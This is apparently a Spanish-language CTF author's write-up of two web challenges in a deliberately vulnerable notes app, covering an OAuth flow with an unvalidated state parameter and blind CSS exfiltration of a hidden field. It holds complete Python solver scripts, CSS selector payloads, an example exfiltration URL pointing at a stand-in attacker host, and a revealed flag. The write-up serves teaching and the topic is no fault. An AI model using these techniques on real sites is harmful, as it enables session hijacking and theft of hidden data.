
En esta edición tuve nuevamente la oportunidad de contribuir en la sección web de los retos. El objetivo era, como todos los años, hacer algún reto que resultara educativo. En esta ocasión los temas centrales fueron el protocolo OAuth en Lost State y exfiltración por CSS en CSSnatch. Ambos explotables mediante Cross Site Request Forgery en la aplicación vulnerable HackNotes.
Además de intentar enseñar, aprendí que los retos deben ser más resistentes a fuerza bruta o enumeración. Aunque aclaré que no era necesario escanear para obtener la bandera, se cumple la máxima de no confiar en el usuario. Por momentos la disponibilidad se vio afectada y la aplicación llegó a volverse inestable, lenta y con caídas puntuales. Esto arruinó un poco la experiencia. Al final, siempre queda espacio para mejorar y aprender.
Lost state

Al ingresar a la aplicación se presenta la siguiente pantalla:
En ella se trata de orientar al participante a que se enfoque en el proveedor de identidad dado que el login (regular o directo) se encuentra deshabilitado para evitar intentos como inyecciones o login bypass que son innecesarios, pero a la vez, darle cierto realismo.
Una vez que hagan clic en el botón de “Iniciar sesión con Hackdef…” se muestra la siguiente pantalla
Hay que notar que se utiliza un puerto diferente porque se está simulando otra aplicación: un proveedor de identidad que, en escenarios reales, suele ser Google, Facebook o GitHub
Aquí el participante, al no tener credenciales aún, puede registrarse.
Al iniciar sesión con la cuenta recién creada el participante es redirigido a la aplicación.
Este punto es fundamental porque aquí se simula la autorización del usuario (IdP) con la aplicación. Más adelante, esta misma petición deberá ser interceptada en una sesión distinta (por ejemplo, en una ventana de incógnito), pero sin completar el flujo.
La URL generada luce de la siguiente forma, siguiendo los parámetros del estándar OAuth:
GET /oauth/callback?code=c8baef4f&state=043caf90
Aunque aún no resulta evidente, aquí es donde aparece la vulnerabilidad: el parámetro state, diseñado para evitar ataques CSRF asegurando que quien inicia el flujo sea quien lo consuma, no es validado correctamente por el backend.
Una vez iniciada la sesión el participante verá la siguiente aplicación en el endpoint /account

La aplicación simulada representa una app para tomar y compartir notas. Su funcionalidad fue intencionalmente limitada para evitar rabbit holes: al crear una nota, el contenido no es editable por el participante y ya se encuentra predefinido, incluyendo una pista relevante para el reto.

Por si fuera poco se pone un mensaje adicional indicando que la flag deberá aparecer como una nota adicional, escrita por “alguien más” en este caso el Admin.
Mientras tanto el endpoint /my-log , accesible desde el menú “Mi bitácora” registra y muestra la actividad del usuario

Finalmente queda la parte importante, el menú “Contactar al Admin”
Su propósito “original” es poder compartir notas con él. Y es este punto dónde debe compartirse la petición del flujo OAuth sin usarse, para respetar el estándar, dado que cada código debe ser único.
El participante puede saberlo porque se cuenta con validaciones para detectar ciertos posibles escenarios, por ejemplo:
- Se comparte el enlace de la nota
- Se comparte una URL diferente a la del reto o no válida (como un texto cualquiera)
- Se utiliza un código ya quemado (utilizado anteriormente)
A continuación se muestra la validación de cada uno
Solución
Para resolver el reto el usuario debe tener su sesión activa para poder enviar el mensaje al admin, justo como se ha hecho hasta ahora.
Además, necesita ser capaz de interceptar el tráfico y frenar la petición antes de completar el flujo.
Para ello puede usar Burp Suite junto con una ventana de incógnito.
- Volver a iniciar el flujo desde https://34.222.7.241:1305 haciendo clic en “Iniciar sesión con Hackdef CTF Identity Provider”
- Interceptar el tráfico de inicio de sesión: Utilizando sus mismas credenciales de acceso, en este caso [email protected], iniciar sesión con Burp en modo de intercepción
- Seguir el flujo mediante forward hasta el punto en el que el código de acceso haya sido generado.
- Cuando la URL con el código -sin usar- es generada por el proveedor de identidad se deberá descartar la petición (drop) para evitar que se consuma (https://34.222.7.241:1305/oauth/callback?code=75dad426&state=e02c17f5)
- Ya con la URL copiada y la conexión descartada se deshabilita la intercepción del tráfico y se envía desde la sesión original al admin.
En este escenario se simula que el administrador consumió el código OAuth de un usuario. Como consecuencia, cualquier acción realizada —como la creación de una nota con la flag— se reflejará en la cuenta de ese usuario y quedará registrada en los logs. Este comportamiento corresponde a un caso de session fixation dentro del flujo OAuth. El ataque es posible porque la aplicación no valida el parámetro state, el cual en un flujo correcto debería generarse de forma aleatoria, enviarse junto con la solicitud al IdP, recibirse de vuelta en la redirección y comprobarse antes de procesar el code.
Finalmente, dentro de las notas del usuario aparece la bandera
Aunque no es absolutamente necesario, en un script la solución podría verse algo así:
#!/usr/bin/env python3
# Minimal OAuth "Lost State" Solver (blog version)
# Idea: Completar el primer flujo para tener sesión en el cliente.
# Luego iniciar un segundo flujo para obtener un "code" fresco y
# mandarlo al admin sin validar state → flag.
import re, sys, time, urllib3, requests
from urllib.parse import urljoin, urlparse, parse_qs
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CLIENT_URL = sys.argv[1] if len(sys.argv) > 1 else "https://localhost:1305"
IDP_URL = sys.argv[2] if len(sys.argv) > 2 else "https://localhost:1320"
EMAIL = "[email protected]"
PASSWORD = "password123"
TIMEOUT = 15
def s():
sess = requests.Session()
sess.verify = False
sess.headers.update({"User-Agent":"Mozilla/5.0"})
return sess
def register_user(idp):
r = idp.post(f"{IDP_URL}/register", data={"email":EMAIL,"password":PASSWORD}, timeout=TIMEOUT)
return ("Registro exitoso" in r.text) or ("Usuario ya registrado" in r.text)
def find_authorize_url(client):
r = client.get(f"{CLIENT_URL}/", timeout=TIMEOUT)
m = re.search(r'href="([^"]*authorize[^"]*)"', r.text, re.I)
return urljoin(IDP_URL, m.group(1)) if m else None
def login_and_get_callback(idp, oauth_url):
# 1) Ir a /authorize → redirige a /login (si no hay sesión en IdP)
r = idp.get(oauth_url, allow_redirects=False, timeout=TIMEOUT)
if r.is_redirect and "/login" in r.headers.get("Location",""):
# 2) Loguearse en IdP
idp.get(urljoin(IDP_URL, r.headers["Location"]), timeout=TIMEOUT)
idp.post(f"{IDP_URL}/login", data={"email":EMAIL,"password":PASSWORD},
allow_redirects=False, timeout=TIMEOUT)
# 3) Reintentar /authorize ya autenticados
r = idp.get(oauth_url, allow_redirects=False, timeout=TIMEOUT)
# Esperamos Location=redirect_uri?code=...&state=...
if r.is_redirect:
return urljoin(CLIENT_URL, r.headers["Location"])
return None
def complete_client_callback(client, callback_url):
# Visita de callback para “atar” la sesión en el cliente
r = client.get(callback_url, allow_redirects=True, timeout=TIMEOUT)
# Fallback directo a /account
r2 = client.get(f"{CLIENT_URL}/account", timeout=TIMEOUT)
return r2.status_code == 200
def create_note(client):
r = client.post(f"{CLIENT_URL}/create-note", data={}, timeout=TIMEOUT)
return r.status_code in (200, 302)
def send_to_admin(client, url_with_code):
# Mandar el callback del segundo flujo (con "code" fresco) al admin
r = client.post(f"{CLIENT_URL}/contact-admin", data={"message": url_with_code}, timeout=TIMEOUT)
return r.status_code in (200, 302)
def extract_code(callback_url):
q = parse_qs(urlparse(callback_url).query)
return q.get("code", [None])[0]
def get_flag(client):
r = client.get(f"{CLIENT_URL}/account", timeout=TIMEOUT)
m = re.search(r'(hackdef\{[^}]+\}|flag\{[^}]+\})', r.text)
return m.group(1) if m else None
def main():
print("🚩 Lost State – Blog Minimal Solver")
# Dos sesiones → “dos navegadores”
client_user = s() # Sesión atacante 1 (cliente)
idp_user = s() # Sesión atacante 1 (IdP)
idp_other = s() # Sesión atacante 2 (IdP para code fresco)
# 0) Preparación
if not register_user(idp_user):
print("✖ Registro falló"); return
# 1) Primer flujo completo → tener sesión en el cliente
auth1 = find_authorize_url(client_user)
if not auth1: print("✖ No se encontró /authorize"); return
cb1 = login_and_get_callback(idp_user, auth1)
if not cb1: print("✖ No se obtuvo callback 1"); return
if not complete_client_callback(client_user, cb1):
print("✖ No se completó el flujo inicial en el cliente"); return
create_note(client_user) # opcional, según reto
# 2) Segundo flujo solo para obtener un "code" sin consumirlo
auth2 = find_authorize_url(client_user) # reusar hallazgo (o recargar /)
if not auth2: print("✖ No se encontró /authorize (2)"); return
cb2 = login_and_get_callback(idp_other, auth2)
if not cb2: print("✖ No se obtuvo callback 2"); return
code = extract_code(cb2)
if not code: print("✖ No se extrajo code"); return
print(f"➜ code fresco: {code}")
# 3) Enviar el callback “crudo” al admin (state no se valida en el cliente)
if not send_to_admin(client_user, cb2):
print("✖ Envío al admin falló"); return
# 4) Comprobar flag
time.sleep(2)
flag = get_flag(client_user)
if flag: print(f"🏆 FLAG: {flag}")
else: print("⚠ Aún sin flag (revisar logs del cliente)")
if __name__ == "__main__":
main()
Resultados
Al final del evento un total de 13 equipos, que representan el 28.3% de los participantes, lograron obtener la bandera

CSSnatch

El reto se monta dentro de la misma aplicación HackNotes.
Al hacer clic en “Ver nota de configuración” aparece la siguiente pantalla en el endpoint /note?id=secret-note
La aplicación ofrece todos los elementos necesarios para comprender el reto (creo). Cuando el usuario administrador visita una nota, se le presenta un formulario con campos ocultos. Al mismo tiempo, el participante sabe que el CSS personalizado del usuario será cargado en esa revisión.
En la sección “Personalizar Tema”, cada usuario puede definir estilos propios en CSS. Estos estilos se almacenan en la base de datos y, al momento en que el administrador revisa la nota, se aplican directamente desde la cuenta del usuario.
además, al inspeccionar esta página hay un mensaje con una gran pista
Con este debería bastar para explicar el objetivo, el participante deberá escribir CSS “malicioso” para obtener (exfiltrar) los campos ocultos que ve el administrador cuando abre la misma nota secreta.
En la aplicación se simula la visita del administrador cuando se le comparte la nota, cambiando su contenido por un “formulario” con campos ocultos, tal como se sugiere en la nota misma que ve el participante. {% if is_special and flag_css %}
<!-- Solo cuando admin ve la nota especial -->
<div class="flag-container">
<input type="hidden" id="secret-flag" value="{{ flag_css }}">
</div>
{% endif %}
La idea del reto se basa en una exfiltración CSS ciega y para ello se utilizan selectores CSS que puedan realizar una petición HTTP cuando se cumpla cierta condición. Por ejemplo:
| input[value^=»a»] { background: url(/test-a); } |
esto significa: “Si existe un campo <input> cuyo valor comienza con ‘a’, aplica esta regla CSS» y la regla indica cargar un fondo desde una URL.
Si esto se utiliza en la aplicación sucede lo siguiente:
Se guarda el estilo y una notificación es cargada en la bitácora /my-log
Se procede a compartir la nota con el administrador
Y se puede observar lo siguiente en la bitácora
Esto pasa porque el valor que se está buscando es «a» pero la bandera comienza con «h»hackdef{...}El participante deberá ir iterando los valores ( a,b,c,d,e,f,g…) hasta dar con el correcto
Al crear el payload:
| input[value^=»h»] { background: url(/test-h); } |
Se repite el proceso de enviar la nota al administrador con este estilo en el CSS
El valor del url puede ser cualquiera, en un escenario real el atacante necesita montar su infraestructura (un servidor web para recibir las peticiones) y así saber qué selector fue activado url(http://attacker.com/a…z). Aunque puede ser cualquier cosa, a su vez, debe permitirle al participante saber cuál fue el selector ejecutado, en este caso /test-h o /exfill-h o /h le permitirían inferirlo.
Dado que existen herramientas automatizadas para realizar este proceso si se permite una conexión externa es que se decidió simularlo desde la consola, manteniendo el mismo concepto.
Ahora que ya sabe el primer valor (h) deberá ir por el segundo repitiendo el proceso
iniciando en la segunda posición, iterando desde la «a»
| input[value^=»ha»] { background: url(/test-ha); } |
Este proceso puede acelerarse utilizando reglas de estilo como:
input[value^="haa"] { background: url(/test-haa); }
input[value^="hab"] { background: url(/test-hab); }
input[value^="hac"] { background: url(/test-hac); }
...
repitiendo el patrón hasta cubrir todas las posibilidades en cada iteración. Además, es posible automatizar el flujo mediante un script que lea la bitácora y continúe con la siguiente ronda de forma automática. Al completar (exfiltrar) todos los caracteres se obtiene la banderainput[value^="hackdef{css_1s_p0w3rfu1}}"] { background: url(/test-hackdef_css_1s_p0w3rfu1_); }
Solución
Se ejemplifica el proceso esperado en un script de Python
#!/usr/bin/env python3
"""
CSSnatch CTF Solver
Descubre la flag carácter por carácter leyendo /my-log.
"""
import re
import time
import string
import requests
from urllib.parse import urljoin
# Ignorar warnings por certificados autofirmados (entorno de laboratorio)
requests.packages.urllib3.disable_warnings() # type: ignore
class CSSExfiltrationSolver:
def __init__(self, base_url, session_cookie):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.session.verify = False
self.session.cookies.set("session", session_cookie, path="/")
# Charset típico de flags en CTF
self.charset = string.ascii_letters + string.digits + "_{}"
self.flag = ""
self.max_length = 64
def generate_css_payload(self, prefix=""):
"""Genera reglas CSS que disparan callbacks según el carácter probado."""
rules = []
pos = len(prefix)
for ch in self.charset:
ascii_code = ord(ch)
rules.append(
f'input[value^="{prefix+ch}"]'
f'{{background:url(/callback-{pos}-{ascii_code});}}'
)
return "\n".join(rules)
def upload_css(self, css):
url = urljoin(self.base_url, "/account/theme")
self.session.post(url, data={"custom_css": css}, allow_redirects=False)
def trigger_admin(self):
url = urljoin(self.base_url, "/contact-admin")
self.session.post(url, data={"message": "/note?id=secret-note"})
def check_logs(self):
url = urljoin(self.base_url, "/my-log")
text = self.session.get(url).text
return re.findall(r"/callback-(\d+)-(\d+)", text)
def solve(self):
print("🚀 Iniciando exfiltración…")
while len(self.flag) < self.max_length:
pos = len(self.flag)
print(f"\n🔄 Posición {pos} | Prefijo: {self.flag!r}")
css = self.generate_css_payload(self.flag)
self.upload_css(css)
self.trigger_admin()
time.sleep(6) # dar tiempo al admin/logs
for pos_str, ascii_str in self.check_logs():
if int(pos_str) == pos:
ch = chr(int(ascii_str))
self.flag += ch
print(f"✅ Carácter {pos+1}: {ch} → {self.flag}")
if ch == "}" and "{" in self.flag:
return self.flag
break
return self.flag
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print("Uso: python css_exfil_solver.py <base_url> <session_cookie>")
sys.exit(1)
solver = CSSExfiltrationSolver(sys.argv[1], sys.argv[2])
print("\n🏆 FLAG FINAL:", solver.solve())
Resultados
Al final del evento un total de 15 equipos, que representan el 32.6% del total de participantes, fue capaz de obtener la bandera.

¡Felicidades a todos los participantes!
Referencias
https://portswigger.net/research/blind-css-exfiltration
https://blog.abhis3k.in/concept/&/testcases/2025/05/23/oauth-concept-and-testcases/
https://hackerone.com/reports/111218